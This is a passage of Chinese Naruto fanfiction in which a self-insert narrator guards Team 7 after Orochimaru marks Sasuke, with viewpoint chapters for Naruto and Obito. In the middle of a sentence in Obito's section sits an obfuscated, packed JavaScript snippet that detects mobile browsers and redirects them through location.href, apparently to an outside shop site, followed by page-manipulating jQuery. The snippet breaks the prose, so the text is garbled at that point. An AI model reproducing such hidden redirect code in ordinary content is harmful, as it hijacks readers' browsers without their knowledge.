他的目光扫过佐助,又若有若无地瞟了一眼远处虚弱的我和护着我的小樱,最后定格在佐助写满仇恨与渴望的脸上 “就拼命在这次中忍考试中活下来,展露头角吧。证明你的价值” 话音刚落,他手中的『天之书』卷轴突然无火自燃!诡异的、仿佛蕴含着不祥气息的幽绿色火焰瞬间将卷轴吞噬! “啊!卷轴!” 小樱在我耳边失声惊呼,语气中充满了绝望和愤怒。那是他们辛苦得来的通关凭证啊! “打败……” 大蛇丸的声音在幽绿火焰的映照下显得格外阴森 “在我支配下的音忍三人……这是你们唯一能继续前进的条件了。呵呵呵……” 他发出低沉而诡异的笑声。 咻咻咻——! 就在卷轴即将化为灰烬的瞬间,几枚手里剑带着小樱最后的愤怒和不甘,破空射向大蛇丸! 大蛇丸身形如同鬼魅般微微晃动,轻松避开了所有攻击,仿佛只是拂去了几粒尘埃。卷轴彻底在他手中化为飞灰,随风飘散。 “啊……” 大蛇丸像是突然想起了什么,缓缓转过头,那双冰冷的金色蛇瞳再次精准地锁定了瘫坐在地的我,脸上露出了一个混合着戏谑、探究和一丝难以言喻兴趣的笑容 “差点把你这个‘意外’忘记了……” “没想到……真能在这个地方,见到如此‘有趣’的能力……” 他的目光仿佛穿透了我的身体,想要窥探那塔罗牌力量的根源。 “莫名其妙!” 小樱再也无法抑制心中的愤怒和恐惧,她看着受伤昏迷的鸣人、苦苦支撑的佐助、气息奄奄的我,以及化为灰烬的卷轴,这一切的罪魁祸首就在眼前!她直接打断了大蛇丸的话,声音因激动而尖利 “我们根本不想再看到你!滚开啊!” “这样可不行……” 大蛇丸脸上的笑容瞬间消失,取而代之的是一种冰冷的不悦。他不再废话,双手瞬间结出一个极其复杂诡异的印! 他的脖子如同没有骨头的橡胶般,骤然拉长!那颗苍白的人头带着狰狞的笑容,如同离弦之箭,瞬间跨越了数米的距离!目标直指因他提到鼬而心神剧震、身体僵直的佐助! “佐助!!” 我和小樱的尖叫声撕心裂肺! 噗嗤——! 尖锐的、如同蛇牙般的物体刺入血肉的声音清晰传来! 佐助的脖颈上,瞬间多出了两个深可见骨的血洞!暗红色的血液汩汩涌出! “呃啊——!” 佐助发出一声痛苦到极致的闷哼,身体剧烈地抽搐起来!那深入骨髓的剧痛和某种冰冷邪恶的东西注入体内的感觉,让他瞬间失去了所有力气,痛苦地跪倒在地! 完成了“馈赠”的大蛇丸,那颗飞出的头颅并未立刻缩回。他那双金色的蛇瞳带着一丝意犹未尽的贪婪,缓缓转向了瘫坐在地、几乎毫无反抗能力的我。猩红的舌头舔了舔沾染着佐助鲜血的嘴唇,似乎在考虑是否要顺手带走这个“有趣的意外”。 然而,就在他的目光锁定我的刹那—— 嗡! 一股无形的排斥力场,仿佛触发了某种自我保护机制,微弱却异常坚韧地在我身体周围形成! 大蛇丸飞出的头颅猛地一顿!他那双金色的蛇瞳中第一次露出了清晰的惊愕和一丝……果然如此?他深深地看了我一眼,眼神中充满了遗憾、不解和更浓烈的探究欲,但最终,他没有再进一步。 “啧……” 一声意义不明的轻响。那颗飞出的头颅如同被橡皮筋拉回般,“嗖”地一下缩回了原位,重新连接在脖子上。大蛇丸扭了扭脖子,发出轻微的“咔吧”声。 “佐助!” “佐助……!” 小樱带着哭腔的呼喊和我的微弱呼唤同时响起。 “你对他做了什么?!” 小樱对着大蛇丸的背影愤怒地质问,声音因恐惧和愤怒而颤抖。 大蛇丸背对着我们,轻轻竖起一根苍白的手指放在唇边,做了个噤声的手势。他的声音带着一种施舍般的愉悦和期待,幽幽传来 “这是我送给佐助的……离别礼物。一份……他迟早会用上的力量。” 话音未落,他的身影如同融入阴影般,缓缓变淡,最终彻底消失在这片狼藉的战场之上,只留下浓烈的血腥味、焦糊味和深入骨髓的冰冷恐惧。 “小樱……放我下来……” 我虚弱地开口,声音气若游丝。大蛇丸虽然离开,但危机并未解除。佐助的情况显然极其糟糕,而我自己也几乎到了油尽灯枯的地步,连站立都困难。 小樱含着泪,小心翼翼地搀扶着我,一步一步,艰难地挪向跪伏在地、痛苦蜷缩着的佐助身边。每一步都牵动着我的伤口,带来阵阵眩晕。 看着佐助脖颈上那两个触目惊心的血洞,以及他因剧痛而扭曲、布满冷汗的脸庞和不断痉挛的身体,小樱的眼泪再也控制不住,扑簌簌落下。她蹲下身,声音带着哭腔 “佐助君!佐助君!你怎么样了?哪里痛?” 佐助没有回答,或者说他根本无法回答。身体里仿佛有无数冰冷的毒蛇在噬咬、在游走,带来难以言喻的痛苦和一种……即将失控的疯狂感。 我强撑着最后一丝清明,目光扫过昏迷不醒的鸣人,再看向痛苦不堪的佐助,最后落在唯一还能站立、却同样伤痕累累、惊魂未定的小樱身上。死亡的森林危机四伏,音忍三人组随时可能循迹而来,而我们……几乎失去了所有战斗力。 “听着,小樱……” 我的声音虚弱却带着一种不容置疑的沉重,如同在交代最后的嘱托。我看着她盈满泪水的、充满恐惧却又努力坚强的眼睛,一字一句地说道 “现在……还能动、还能战斗的人……只有你和我……” 我停顿了一下,艰难地喘息着,目光落在自己无力垂落、鲜血淋漓的右臂,以及因精神力枯竭而阵阵发黑、意识模糊的状态上,苦涩地扯了扯嘴角 “但……现在的我……已经……不适合再战了……” 我抬起头,用尽力气直视着小樱的双眼,将所有的信任和沉甸甸的责任,都压在了这个刚刚从恐惧中挣脱出来的少女肩上: “所以……佐助、鸣人……还有我……我们……都需要你。” 眼前的情景揪紧了我的心:佐助痛苦地跪在地上,脖颈上两个深可见骨的牙印正渗着暗红的血;鸣人躺在不远处的树枝上,生死不明;而我,脸色惨白如纸,手臂上的伤口虽被布条草草勒住,鲜血仍在缓慢地洇透衣袖,整个人摇摇欲坠,全靠一股意志力强撑着才没有倒下。 小樱眼中原本翻涌的恐惧和慌乱,在我投去的信任目光与沉重的托付下,被一股骤然升腾的强烈责任感瞬间压下。 “可是!旁听生!你现在这样子怎么能去?!” 小樱几乎是弹跳起来阻止我,声音带着惊惶 “你的手臂还在流血,脸色白得像纸!我去!” 我缓缓摇头,目光沉静而坚定地锁住她 “听着,小樱。现在唯一拥有完整战斗能力的人,是你。” 我顿了顿,声音放得更柔和,那份不容置疑的信任如同暖流 “刚才,谢谢你。谢谢你护着我,带我到佐助身边。你很勇敢,比我刚认识你的时候,强大了太多。” 脑海中闪过她带我躲避巨蛇攻击时紧握的手,闪过她面对大蛇丸那庞然凶物时虽颤抖却未曾退缩的背影 “你能保护好自己,也能在危急关头做出最正确的判断。这份守护同伴的心意和力量,就是你此刻最锋利的武器。” 小樱怔住了,眼圈微微泛红。我从未如此直白地肯定过她,尤其是在这生死悬于一线的时刻。这份沉甸甸的信任像一股温热的泉水,冲刷着她心底残余的惊悸。 “可是……” 她依旧忧心忡忡地望着我。 “没有可是。” 我打断她,语气虽轻,却带着不容置喙的力量 “伤员需要你守护。我离开后,这里就是最安全的地方,因为有你坐镇。而且,” 我扯出一个苦涩的笑,瞥了眼自己染血的衣袖 “我这副样子,动静太大反而容易引来不必要的窥伺。独自行动,目标小一些。我会尽快回来,只找附近能确定安全的水源和容易获取的果子。” 我看着小樱眼中的挣扎如同冰雪消融,最终化为磐石般的决心。她用力点头,声音斩钉截铁 “我明白了!你一定要小心!有任何危险,立刻发信号!” “放心。” 我努力回给她一个安抚的微笑,尽管这笑容在失血的苍白脸上显得如此虚弱无力。 离开临时营地,身体的不适感如同挣脱束缚的野兽,瞬间放大到极致。每一步都像是踩在松软的棉花上,虚浮无力。手臂的伤口随着每一次动作牵扯,传来尖锐而持续的刺痛。失血带来的寒意深入骨髓,让我牙齿不受控制地打颤。 尽管小樱已用查克拉做了简单处理并用绷带包扎过,我仍强迫自己集中起涣散的精神,调动所剩无几的感官,在浓墨般的林间艰难摸索。 循着空气中隐约的水汽和细微的潺潺声,寻找水源并不算太难。我在不远处发现了一条清冽的小溪。冰冷的溪水拍打在脸上,带来一丝刺骨的清醒。 我用随身的水壶小心灌满。然而,寻找食物却如同大海捞针。茂密的枝叶遮蔽了大多数可食用植物的踪迹,我不敢深入那令人心悸的黑暗,只能借着微弱天光,在附近的灌木丛和树下徒劳地搜寻。 带刺的荆棘划破裤腿,在裸露的小腿上留下几道火辣辣的血痕。每一次弯腰都牵扯着手臂的伤口,痛得我倒吸冷气。摸索低矮的浆果丛时,粗糙的枝条又毫不留情地在脸颊和手背上刮出几道刺目的红印。 汗水混着血丝和泥土的污迹,狼狈地黏在身上。最终,我只寻得一小捧看起来还算安全的野莓和几个不知名的硬果,用布巾仔细包好。 体力早已透支到极限,每一次呼吸都沉重得如同拉动风箱。我拖着这具疲惫不堪、伤痕累累的躯壳,几乎是踉跄着,一步一挪地回到那点着微弱篝火的露营点。 当篝火的光晕终于映入眼帘时,支撑我的那根弦几乎崩断。小樱立刻迎了上来,看到我平安无恙,眼中是无法掩饰的欣喜。然而,那欣喜瞬间凝固,她的目光落在我被划破的裤腿、脸颊和手上新增的细小伤口,以及那因过度疲惫和持续失血而更加惨白如纸的脸上。 “旁听生!你的腿!还有脸!” 小樱惊呼出声,声音里浸满了心疼。 “没事……只是……小划伤……” 我喘着粗气,声音微弱得几不可闻,将水壶和布包递给她 “水……干净的……还有一点……果子……应该……能吃……” 话音未落,仿佛最后一丝力气也被抽干。我靠着粗糙的树干,身体不受控制地缓缓滑坐到冰冷的泥地上。寒意透过衣料渗入,却丝毫无法驱散那汹涌而至、要将人吞噬的疲惫感。眼皮沉重得如同挂了铅块,意识开始不受控制地滑向混沌的深渊。 “你快休息!我来处理!” 小樱急忙接过东西,看着我虚弱不堪的样子,眼圈又红了。她迅速拿出急救包,用干净的布蘸着清凉的溪水,小心翼翼、近乎虔诚地擦拭着我脸颊和手上的划伤,又仔细检查了我手臂的绷带,确认没有再次严重渗血。她的动作轻柔而专注,带着一种前所未有的成熟和沉甸甸的责任感。 “旁听生……” 小樱看着我紧闭双眼、眉头紧蹙的模样,低声呢喃,篝火在她清澈的眸子里跳动,映照着那份被我点燃并骤然强化的决心 “我一定会变得更强,像你一样……不,比现在更强!强到能真正保护大家,而不是……总是被保护的那个。” “嗯……” 我模糊地应了一声,连掀开眼皮的力气都已消散。 小樱安置好水和食物,又仔细查看了佐助和鸣人的状况。佐助颈部的咒印暂时平息了,鸣人的呼吸也平稳了些。她这才稍稍松了口气,在我身边坐下,身体依旧紧绷,保持着高度的警惕。 “你睡吧,我守着。” 她的声音虽轻,却异常坚定。 我挣扎着掀开沉重的眼皮,视线模糊地投向她的方向 “不行……后半夜……最危险……你……保存体力……你睡……” 语气虚弱,却带着不容反驳的严厉。 “可是你……” 小樱还想争辩。 “这是……命令……” 我用尽最后一丝气力吐出这几个字,目光穿透昏沉,直视着她 “小樱……你是……唯一的……战力……必须……休息好……我……撑得住……后半夜……靠你了……” 小樱看着我眼中那份近乎偏执的坚持和对她能力的绝对信任,所有的话语都哽在了喉间。她知道这是最理智的安排,尽管这安排让她看着我在痛苦中强撑的模样,心如刀绞。 “……我明白了。” 最终,她只能妥协,声音带着一丝不易察觉的哽咽。她抱着膝盖,靠着另一棵树,强迫自己闭上眼睛休息。但她的耳朵依旧敏锐地捕捉着四周的动静,神经并未真正放松。 篝火的光晕在我模糊的视野中扭曲、摇曳、变形。手臂的钝痛、身体的冰冷、精神的极度枯竭,如同无数双来自深渊的手,合力拖拽着我沉向黑暗。失血带来的晕眩感一阵强过一阵,我感觉自己像是一叶在惊涛骇浪中濒临解体的小舟。 不能睡……不能睡……后半夜……小樱需要休息……危险…… 我在心底一遍遍嘶吼着警告自己,用力掐着大腿,试图用新鲜的痛楚刺穿麻木的神经。牙齿死死咬住下唇,一丝腥甜在口中弥漫开来。然而,疲惫如同永无止境的潮汐,一浪高过一浪,无情地冲刷着意志的堤坝。 就在意识即将彻底沉沦、断线的临界点—— 篝火摇曳的光影对面,那片浓重的树影,极其诡异地扭曲了一下。 一个身影,如同从虚无中凝结,无声无息地出现在树下的阴影里。高大,笼罩在一件仿佛能吸收一切光线的宽大黑色斗篷之中。斗篷的兜帽压得极低,完全遮蔽了面容,只露出一面漩涡状的、令人极度不适的橘色面具。那面具在跳跃的火光映照下,散发着冰冷而诡异的气息。 心脏骤然紧缩!如同被一只无形冰冷的利爪狠狠攫住!强烈的危机感如同冰水兜头浇下,瞬间驱散了大部分昏沉! 敌人?!什么时候靠近的?! 几乎是本能驱使,我强撑着虚软的身体,爆发出源自骨髓深处的意志力,猛地从地上弹起!剧烈的动作让我眼前一黑金星乱冒,身体剧烈摇晃,几乎栽倒。 但我毫不犹豫地张开双臂,用这具伤痕累累的躯体,死死地、如同最坚固的盾牌,挡在了昏迷不醒的鸣人、佐助,以及刚刚入睡的小樱身前! 我的眼神锐利如淬火的刀锋,死死钉在那个神秘诡异的黑袍身影上,里面燃烧着不顾一切、同归于尽的决绝与警告。另一只未受伤的手,已经本能地探向忍具包里的苦无,尽管我知道此刻的自己,恐怕连掷出的力气都所剩无几。 “谁?!” 我的声音嘶哑破裂,却像裹着寒冰的刀刃,狠狠劈开死寂的夜幕 “不准靠近他们!” 黑袍身影似乎完全没预料到我会突然爆发,更没料到我会展现出如此激烈、近乎护雏般的姿态。他原本只是如同幽灵般静立观察,面具下的眼神冰冷而复杂,带着审视、探究,或许还有一丝……连他自己都未曾察觉、被刻意压制的心绪涟漪。 然而,就在我张开双臂,以如此虚弱却无比坚定的姿态挡在鸣人身前的那一刻—— 时间,仿佛被冻结了。 面具下的瞳孔,骤然收缩成针尖! 这个动作……这不顾一切守护的姿态……这虚弱躯壳中爆发出的惊人气势…… 刹那间,尘封在记忆最深处、被他刻意扭曲遗忘的画面,如同被重锤击碎的琉璃,轰然炸裂! 那个冰冷的雨夜,那个总爱揉乱他头发、给他唱不成调的歌、笨拙地给他包扎训练伤口、在他被嘲笑时第一个冲出去与人理论的少女……那个被他认定“抛弃”了他、却又在秘密基地留下那封被雨水模糊了关键信息的信的人…… 她当年,也是这样一次次地挡在他身前,用并不强壮的身躯,为他筑起抵挡外界恶意和伤害的屏障。 一模一样! 心脏像是被一只无形巨手狠狠攥紧、揉碎!剧烈的、混杂着滔天恨意、被背叛的狂怒、无法言说的蚀骨思念、以及……那巨大空洞般的失落与剧痛的复杂感受,瞬间席卷了他! “咳……” 一声极其轻微、压抑到极致的、仿佛来自灵魂最深处的痛苦闷哼,竟不受控制地从面具下逸出。宽大黑袍下的身躯,微不可察地颤抖了一下。 他的视线,如同淬毒的钩锁,死死地钉在我身上。那橘色的漩涡面具仿佛一个吞噬光线的深渊,却让我无比清晰地感知到,穿透灵魂般的目光,正带着难以置信的震动和某种近乎疯狂的探究,灼烧着我的每一寸肌肤。 空气凝固了,沉重得令人窒息。篝火噼啪作响,映照着这无声却剑拔弩张的对峙。我挡在同伴身前,如临深渊。而他,像一尊凝固在阴影中的黑色雕像,唯有那面具下压抑不住的、细微的颤抖,泄露着内心掀起的毁灭性风暴。 那句刻在灵魂深处、用无尽痛苦和毁灭浇灌出的质问,几乎要撕裂他的喉咙,冲破这令人窒息的死寂: ‘为什么……’ ‘为什么……要出现在这里?为什么……要保护那个赝品?为什么……当初要抛下我?!’ …… 剧烈的危机感和那声压抑的痛苦闷哼,如同淬毒的冰针狠狠刺入我的神经末梢,将濒临溃散的意识强行拽回现实!我猛地睁开眼,心脏在胸腔里疯狂擂动,震得耳膜嗡嗡作响。 眼前只有篝火跳跃的光影、小樱沉睡的侧颜、佐助和鸣人昏迷的姿态。冰冷的树干硌着后背,手臂的疼痛和失血的虚弱感依旧清晰可辨。刚才那笼罩在黑袍下的诡异身影、那漩涡状的橘色面具、那穿透灵魂的冰冷目光……仿佛只是一场被疲惫和恐惧催生出的、过于逼真的噩梦。 “是……梦吗?” 我低喘着,冷汗浸湿了额发。目光警惕地扫视四周,除了风吹过林叶的沙沙声和篝火燃烧的噼啪低语,再无任何异响。没有黑袍人,没有那令人窒息的、如同实质般的压迫感。 紧绷的神经稍稍松弛,随之而来的是更深的疲惫,如同潮水般将我淹没。我用力掐了一下自己的大腿,尖锐的疼痛带来一丝短暂的清醒。不行,不能睡!后半夜是最危险的时刻,小樱需要休息,必须有人保持警戒!我强撑起仿佛灌了铅的眼皮,强迫自己坐直身体,目光如同最警觉的夜枭,一遍遍扫视着周围被火光勉强勾勒出的、影影绰绰的黑暗轮廓。每一次风声鹤唳,都让我的心跳骤然漏跳一拍,疑神疑鬼地望向声源。 然而,在我无法感知的更高处,一棵巨树浓密的阴影里,那个漩涡面具的轮廓如同融入夜色的雕塑,正静静地俯瞰着下方…… 23. 二十二章番外[番外] 鸣人视角 指尖滑落的瞬间,鸣人的视线死死锁住姐姐的眼睛。那里面翻涌的,是赤裸裸的害怕,是深入骨髓的恐惧,更是一种……仿佛世界正在眼前彻底崩塌的、灰暗的绝望。这目光像烧红的烙铁,狠狠烫在鸣人心上。 “姐姐——!!” 鸣人嘶吼着,身体的本能快过思考,他拼命伸出手想要抓住那抹坠落的身影。然而,狂暴的气流如同无形的巨手,蛮横地将他卷走,狠狠掼向后方。一声沉重的闷响,他的后背结结实实撞上了粗粝的树干,震得五脏六腑都仿佛移了位。剧痛瞬间炸开,但他甚至没有皱一下眉头,更没有试图缓解冲击带来的眩晕。 “呃啊!”痛呼被强行压下,他几乎是弹射般从地上爬起,背后的钝痛被一种更尖锐、更冰冷的恐惧彻底覆盖。“姐姐……姐姐刚才的眼神……”那个在他调皮捣蛋后批评他时还带着一丝无奈和关切的姐姐,那个眼神……不对劲,很不对劲!一种不祥的预感像冰冷的毒蛇,瞬间缠绕住他的心脏,越收越紧,让他几乎无法呼吸。他必须立刻找到她! 就在这时,视野猛地被一片狰狞的阴影笼罩。 “什……?!” 一条庞大到令人窒息的巨蛇,毫无征兆地闯入他的眼帘,冰冷的竖瞳带着纯粹的杀意锁定了他。巨蛇没有给这个金发少年丝毫喘息或思考的余地,如同崩塌的山峦,裹挟着腥风轰然撞来! 鸣人瞳孔骤缩,求生的本能和寻找姐姐的急切驱使着他,在千钧一发之际猛地向侧方扑去,险之又险地避开了致命的撞击。尘土飞扬,碎石四溅。 然而,不等他站稳脚跟,一股冰冷、滑腻、带着恐怖巨力的触感瞬间缠上了他的腰腹!那巨大的蛇尾如同钢索,骤然收紧! “呜——!”窒息感猛烈袭来,肋骨发出不堪重负的呻吟。鸣人拼命挣扎,手脚并用,却如同蚍蜉撼树。巨蛇冰冷的鳞片摩擦着他的皮肤,腥臭的气息喷在他脸上。 下一秒,天地骤然昏暗。 视野被巨大的、布满粘液的蛇口彻底吞噬。滑腻、冰冷、散发着强烈腐臭的唾液瞬间浸透了他的衣服,黏糊糊地包裹住他的身体,每一个毛孔都叫嚣着恶心与不适。他被一股无法抗拒的力量拖拽着,滑向那深不见底、蠕动的黑暗深渊。 “不要……姐姐还在……外面……” 这个念头在滑入蛇腹的瞬间,如同惊雷般在他混乱的脑中炸响。失去姐姐的恐慌和对姐姐安危的恐惧,此刻达到了顶点!姐姐是不是也遇到了危险?姐姐是不是也……不!他不敢想下去!那绝望的眼神再次浮现,与眼前这令人作呕的黑暗重叠。 “姐姐——!!” 鸣人在那黏滑、挤压、充满窒息感的空间里,爆发出撕心裂肺的呐喊。这声音被厚厚的蛇腹壁阻隔,显得沉闷而绝望。前所未有的恐慌攫住了他,不是因为自己身陷蛇腹,而是因为姐姐!姐姐是不是在找他?姐姐会不会以为他已经……?姐姐那个绝望的眼神,是不是意味着她遇到了更可怕的事情? “绝对……不能在这里……停下!姐姐……姐姐在等我!!” 求生的本能和对姐姐的执念,如同火山岩浆般在他体内奔涌、沸腾!他绝不能死在这里!他必须出去!必须立刻、马上找到姐姐!确认她的安全!晚一秒都可能是永恒! “多重……” 他艰难地凝聚起体内几乎被恐惧和窒息冲散的查克拉,意志力在这一刻燃烧到了极致,压倒了生理上的所有不适与恶心。 “……影分身之术——!!!” 轰——!!! 如同在密闭的容器中引爆了无数颗炸弹!狭窄、充满消化液的蛇腹空间根本无法承受这瞬间爆发的恐怖力量! 噗嗤!噗嗤!噗嗤! 伴随着令人牙酸的撕裂声和巨蛇撕心裂肺的嘶鸣,无数个金发蓝眸、浑身沾满恶臭粘液的鸣人,硬生生地从巨蛇坚韧的躯体各处——腹部、背部、甚至头颅侧方——破体而出!粘稠的血液、破碎的内脏和组织液如同决堤的洪水般喷溅开来,将周围的树木和地面染成一片刺目的猩红与污秽。 “呃啊!”巨蛇发出垂死的哀嚎,庞大的身躯剧烈抽搐,最终轰然倒塌,激起漫天尘土。 然而,脱困而出的鸣人本体和影分身们,甚至来不及抹去脸上那腥臭黏腻的血污与粘液。剧烈的喘息着,胸腔因缺氧和方才的爆发而剧烈起伏,背后的撞伤和蛇腹的挤压让每一口呼吸都带着疼痛。 但鸣人的眼睛,那双湛蓝的眸子,此刻却燃烧着不顾一切的疯狂与恐慌,死死地扫视着周围混乱血腥的战场。 “姐姐——!!!” “姐姐你在哪?!” “姐姐——!!” 此起彼伏的呼唤声,带着无法掩饰的哭腔和深入骨髓的恐惧,由无数个鸣人同时喊出,穿透了弥漫的血腥气,在狼藉的树林间疯狂回荡。每一个声音都充满了同一个念头:姐姐不见了!姐姐是不是出事了?姐姐会不会……已经不在了? 他像一只受惊过度、失去方向的小兽,本体和分身不顾身上的伤痛与污秽,在断裂的树木、翻腾的泥土和巨蛇的残骸间跌跌撞撞地奔跑、搜寻。视线急切地扫过每一寸土地,每一个角落,寻找着那熟悉的身影,任何一个可能的线索。 恐慌,如同冰冷的海水,将他彻底淹没。那滑落时绝望的眼神,此刻成了最锋利的刀刃,反复切割着他的心脏。他只有一个念头:找到她!立刻找到她!他不能失去她!整个世界仿佛只剩下姐姐的身影,以及那足以吞噬一切的、对“失去”的极致恐惧。 带土视角 带土并未离开。 刚才的一切,绝非我的幻觉。 他面具下的双眼,如同冰冷的探针,死死锁定着那个强打精神、明明摇摇欲坠却依旧固执地守护着同伴的身影。尤其是……她挡在那个黄毛小鬼(鸣人)身前的姿态,一遍遍在他脑中回放,与记忆深处那个模糊却刻骨铭心的身影疯狂重叠、交叠,最终化为一把搅动心湖的利刃。 “为什么……” 这个无声的质问在他混乱的思维中疯狂咆哮。斑的话语——“她抛弃了你”——如同跗骨之蛆般根植心底,但眼前这个人的存在本身,她的气息,她那种源自灵魂深处的不顾一切……就像投入滚烫油锅的水滴,在他死寂的心湖里炸开混乱而痛苦的涟漪。 干扰。巨大的干扰。她的存在,她的行为,她保护九尾人柱力(鸣人)的事实,无一不在干扰他精心编织的月之眼计划!她是个必须被清除的变数!理智在疯狂叫嚣着动手,用最彻底的方式抹去这个动摇他信念根基的根源。 但…… 他刚才那无声的试探(那声闷哼和目光压迫),以及她瞬间爆发的、源自灵魂本能的守护反应,已经给了他冰冷的答案。那不是赝品能模仿的。那是刻在骨血里的印记。她是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575543|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。那个他以为早已抛弃了他、化为尘埃的“姐姐”,真的以某种他无法理解的方式,重新踏入了这个残酷的世界。 这个认知,如同最锋利的苦无,精准而残忍地刺穿了他早已千疮百孔的心脏。 “斑……在说谎?”这个念头如同毒蛇,在他脑中一闪而过。但下一秒,就被更庞大、更扭曲的黑暗所吞噬。不!就算是真的又如何?就算她没有抛弃他又如何?她回来了,却站在了他的对立面!她保护着那个赝品(鸣人),保护着这个腐朽世界的一部分!她不是他记忆里那个全心全意、只属于他、永远不会离开他的姐姐了! 真正的“姐姐”,那个只存在于他完美幻梦里的、绝对忠诚和爱他的存在……唯有月之眼计划才能实现!只有那个无限月读创造的梦境世界,才能给予他一个毫无瑕疵、永不背叛的“姐姐”。 现实的她?只是一个让他痛苦、动摇、几乎要将他逼疯的残酷幻影!一个证明他过去所有痛苦和毁灭都源于一个“误会”的讽刺证据!这比纯粹的背叛更让他难以承受!他宁愿相信斑的谎言,宁愿相信她是冷酷无情的抛弃者,这样他的仇恨、他的毁灭才显得名正言顺,才显得……不那么可悲可笑。 冰冷的杀意,如同极地的寒潮,在他胸腔里翻涌、凝聚。只需一个念头,他就能让树下那个强撑的身影连同她守护的一切,无声无息地化为齑粉。宽大袖袍下的手指,微微蜷曲,蓄积着毁灭的力量。 然而……最终,那凝聚的杀意如同退潮般缓缓散去。他深深地、无声地吸了一口气,仿佛要将胸腔里翻腾的剧痛和混乱强行压入深渊。 无法下手。 不仅仅是因为月之眼计划需要按部就班地进行,此刻不宜打草惊蛇(尽管这是最冠冕堂皇的理由)。更深层的,是一种连他自己都唾弃的、源自灵魂最深处的软弱。面对这个“失而复得”却又“面目全非”的真实,他发现自己……竟无法痛下杀手。摧毁她,无异于亲手碾碎自己心底最后一丝关于“光”的残影,哪怕那光早已扭曲、变质、面目全非。 他最后深深地看了一眼那个在篝火旁强撑的、伤痕累累的身影,眼神复杂到了极致,痛苦、憎恨、一丝连他自己都不愿承认的眷恋,最终都被冰冷决绝的疯狂所覆盖。 “等着吧……”他在心底无声地低语,带着一种近乎自毁的偏执, “我会创造一个完美的世界……一个只属于我的世界……一个你会只看着我、只爱着我、永远不会离开我的世界……在那里,你只是我的‘姐姐’……” 现实中的你?只是通往那个完美梦境必须踏过的……荆棘与痛苦之路的一部分罢了。 空间无声地扭曲、旋转,如同投入石子的水面漾开涟漪。黑袍的身影如同被无形的橡皮擦抹去,悄无声息地消失在浓密的树影深处,没有留下一丝痕迹,仿佛从未涉足此地。 篝火旁,我猛地打了个寒颤,一股没来由的、深入骨髓的寒意瞬间攫住了我,如同冰冷的蛇缠绕上心脏。我警惕地环顾四周,目光如炬,却依旧一无所获。疲惫如同沉重的铅块再次压来,我将那莫名的寒意归咎于失血和深夜刺骨的冷风,更加用力地掐了自己一下,尖锐的痛楚刺穿了麻木。我必须保持清醒,继续履行守夜的职责,守护这方寸之地的安宁。 只有夜风穿过林梢,发出呜咽般的低回声响,像是在为某个迷失在无尽黑暗中的灵魂,唱着一曲无声的哀歌。 24. 『死亡森林 下』 我终究是没敢叫醒小樱。 指尖悬停在她均匀起伏的肩头上空,最终只是无力地垂下。并非仅仅是怜惜她的疲惫,更多是因为……方才那短暂却蚀骨灼心的梦境,其触感太过真实、太过冰冷,甚至让我对“现实”与“虚幻”的界限产生了剧烈的动摇。 冷静?不,我几乎是逼迫着自己从那惊悸中剥离,颤抖着去复盘每一个细节。那个突兀出现在林间空地,搅乱了生死界限的身影——漩涡状的诡异面具,吞噬光线的黑袍,戏谑又空洞的语调…… 是晓组织的『阿飞』。 不……或许更早之前,他是……宇智波带土。 心脏像是被一只冰冷的手攥紧,几乎停止跳动。他为什么会出现在这里?出现在我的“梦”里?那话语,破碎又清晰,像是质问,又像是浸透了无尽痛苦的喃喃自语—— “为什么……” 这三个字如同鬼魅的咒语,在我脑髓深处反复回响。他在对谁说?对我?对这个世界?还是对那个早已死去的、他自己的一部分?剧情……我疯狂搜刮着来自另一个世界的记忆碎片,没有,绝对没有这一段!是岸本埋藏至深而我遗忘的伏笔,还是……这个世界因为我这只意外闯入的蝴蝶,已经开始掀动截然不同的风暴? 思维的弦绷紧欲裂,头痛得像要炸开。然而,身旁一声压抑的、近乎野兽哀鸣般的粗重喘息,猛地将我拽回冰冷的现实。 是佐助。 他蜷缩着,平日里冷峻的面容因巨大的痛苦而扭曲,冷汗浸湿了他的黑发,紧贴在前额。我撑着虚软如同棉絮的身体,几乎是爬行着跪倒在他身边。指尖触碰到他的额头——滚烫!那热度几乎灼伤我的皮肤,是一种不祥的、仿佛从灵魂深处烧起来的邪火。 恐慌驱使下,我立刻伸手去探鸣人的额头。入手是一片温凉,还好,只是正常的体温。悬到嗓子眼的心稍稍回落半分,却依旧沉重地坠着。 我翻出自己那个略显陈旧的忍者包,手指因为虚弱和恐惧而有些不听使唤。终于摸到了随身携带的毛巾,将水壶里本就不多的清水小心地倒上去,冰冷的湿意瞬间浸润指尖。我将毛巾叠好,轻轻敷在佐助滚烫的额头上。动作迟缓而笨拙,我自己的伤口虽然已经用查克拉勉强止血,但每一次移动都牵扯着撕裂般的钝痛。 一遍,又一遍。我机械地重复着擦拭、浸湿、再敷上的动作,全部心神都系于指尖传来的温度变化。时而,我必须强迫自己转过头,确认一旁的鸣人呼吸是否平稳,金色的睫毛是否安然垂下。小樱就在不远处的树下沉睡着,只是那睡颜也并非安宁,眉头轻轻蹙起,仿佛在梦中也承担着无形的重压。 眼皮沉重得如同灌了铅,不住地打着颤。我勉力抬起眼,望向被层层枝叶切割的天空——不知何时,那浓得化不开的墨黑,已然渗出了一抹模糊的灰白,边缘甚至泛起了极其微弱的鱼肚色。 天……快亮了吗? 一股难以言喻的悲凉和茫然,如同冰冷的潮水,瞬间淹没了心脏。我有什么?没有穿越者标配的系统和金手指,没有磅礴如海的查克拉,没有血继限界,甚至连最基础的忍术都使得磕磕绊绊。拥有的,不过是这副伤痕累累的躯壳,一套来自异世的、几乎被翻烂的塔罗牌,以及……微弱得可怜的精神力。 而塔罗牌的施展,根基恰恰在于精神力量。像我这般弱小,连占卜都时常感到眩晕,又能做些什么呢?守护?这个词此刻听起来如此可笑,如同螳臂当车。 为什么要守护鸣人? 